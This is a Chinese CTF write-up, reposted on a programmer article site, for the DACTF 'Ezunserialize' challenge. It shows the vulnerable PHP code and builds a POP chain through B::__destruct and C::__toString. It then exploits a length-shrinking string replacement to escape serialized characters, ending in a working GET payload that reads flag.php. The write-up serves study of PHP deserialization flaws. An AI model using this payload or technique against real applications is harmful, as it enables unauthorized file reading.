欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

DACTF—Ezunserialize

程序员文章站 2022-03-09 14:26:25
...

DACTF—Ezunserialize(PHP反序列化字符逃逸)

这个题是我在赛后再进行学习的,所以自己在本地复现了一下环境。

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}
$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

首先分析,定义了三个类ABC
ok,咱们看到C类中有个敏感函数file_get_contents()(将文件读取到一个字符串中)
我们很明显的可以看到注释了一个flag.php,好的,这里我们可以想是不是可以利用这个敏感函数来读取flag.php呢?
OK,__toString这个方法必须得在echo时才会调用,那么我们继续找。发现在B类中有echo。而最后却只实例化了A类,所以这里我们使$a->password=$b就OK了
这里我们的思路就很清晰了,开始构造pop链
pop链:

$b = new B(); 
$b->b = new C();  
$b->b->c = 'flag.php';
$a = new A();
$a->username='ro4lsc';
$a->password=$b;

序列化的结果为:

O:1:"A":2:{s:8:"username";s:6:"ro4lsc";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

现在我们注意到

function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

read函数可以使\0\0\0替换为<0x00>*<0x00>,write函数反之
这里我们注意到read函数将\0\0\0(6个字符)替换为<0x00>*<0x00>(3个字符)这里就导致了PHP反序列化字符的逃逸,这里我在本地也搭建好了环境

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
            //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));
echo "serialize(): ".serialize($a);
echo "<br>";
echo "write(): ".write(serialize($a));
echo "<br>";
echo "read(write()): ".read(write(serialize($a)));
echo "<br>";
$b = unserialize(read(write(serialize($a))));
var_dump($b);
echo "<br>";
echo "username: ".$b->username;
echo "<br>";
echo "password: ".$b->password;
echo "<br>";

首先传入参数a=1&b=1
DACTF—Ezunserialize

O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";}

然后传入参数a=\0\0\0&b=2
DACTF—Ezunserialize
可以很明显的看到最后经过read(write())函数过后

O:1:"A":2:{s:8:"username";s:6:"*";s:8:"password";s:1:"2";}

这里的s:6:"*"其实是s:6:"<0x00>*<0x00>"只有三位,所以PHP反序列化的时候就会向后再读取三位,现在再看之前序列化的结果

O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"2";}

注意这里的

1";s:8:"password";s:1:"

长度为23
我们要使\0\0\0逃逸掉这部分的字符串使得b参数成为注入对象
所以需要构造8个\0\0\0,从而向后读取24位
故a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
此时序列化之后变为

O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:1:"2";}

这里username变为

********";s:8:"password";s:1:"

此时的b参数为

2";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

因为需要闭合username的单引号和分号,再加上传入password变量序列化的结果

故最终payload为:

?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=2";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}

DACTF—Ezunserialize
由于本地没有设置flag,所以到此也算是复现成功了吧

相关标签: PHP反序列化